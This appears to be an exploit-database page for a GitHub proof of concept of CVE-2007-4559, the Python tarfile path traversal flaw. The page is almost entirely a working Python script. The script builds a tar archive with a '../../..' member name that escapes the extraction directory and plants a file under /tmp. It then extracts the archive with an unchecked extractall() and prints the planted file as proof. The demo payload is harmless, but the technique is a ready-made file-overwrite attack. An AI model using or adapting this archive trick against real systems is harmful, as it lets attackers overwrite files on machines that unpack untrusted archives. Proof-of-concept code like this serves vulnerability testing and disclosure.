Exploit database

GH-9b179b8e486570fda633a116ddad2798

depers-rus/cve-2007-4559

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2007-4559

8 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
depers-rus/cve-2007-4559Revision 45dae6097190

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2007-4559-PoC.py

Python · 1,900 bytes
import tarfile
import os
print("""
# ──────────────────────────────────────────────────────────
# 💣 PoC for CVE-2007-4559 — Tar Path Traversal
# 🛠️  Created by @Depers
# ──────────────────────────────────────────────────────────
""")


tar_filename = 'malicious_archive.tar'
temp_file_name = 'evil_content.txt'
danger_file = '/tmp/passwd.etc'

with open(temp_file_name, 'w') as f:
    f.write("This is a test file for CVE-2007-4559 PoC.")

with tarfile.open(tar_filename, 'w') as tar:
    evil_file_info = tarfile.TarInfo('../../../../../../../..'+danger_file)
    evil_file_info.size = os.path.getsize(temp_file_name)

    with open(temp_file_name, 'rb') as f:
        tar.addfile(evil_file_info, fileobj=f)

print(f"[+] Created malicious TAR archive: {tar_filename}")

os.remove(temp_file_name)
print(f"[-] Temporary file {temp_file_name} removed")

with tarfile.open("/home/pylayev/CVE/CVE-2007-4559/malicious_archive.tar") as tar:
    tar.extractall()
    print(f"[+] Unpacked a malicious TAR archive: {tar_filename}")

os.remove(tar_filename)
print(f"[-] malicious TAR archive {tar_filename} removed")

if os.path.isfile(danger_file) and os.path.getsize(danger_file) > 0:
    print("\n" + "=" * 60)
    print("[✔] PoC succeeded — CVE-2007-4559 confirmed.")
    print(f"[📁] File has been unpacked successfully: {danger_file}")
    print("[📝] Contents of the extracted file:")
    print("-" * 60)
    with open(danger_file, 'r', encoding='utf-8', errors='replace') as f:
        print(f.read())
    print("=" * 60 + "\n")
else:
    print("[✘] PoC did not succeed — no malicious file extracted.")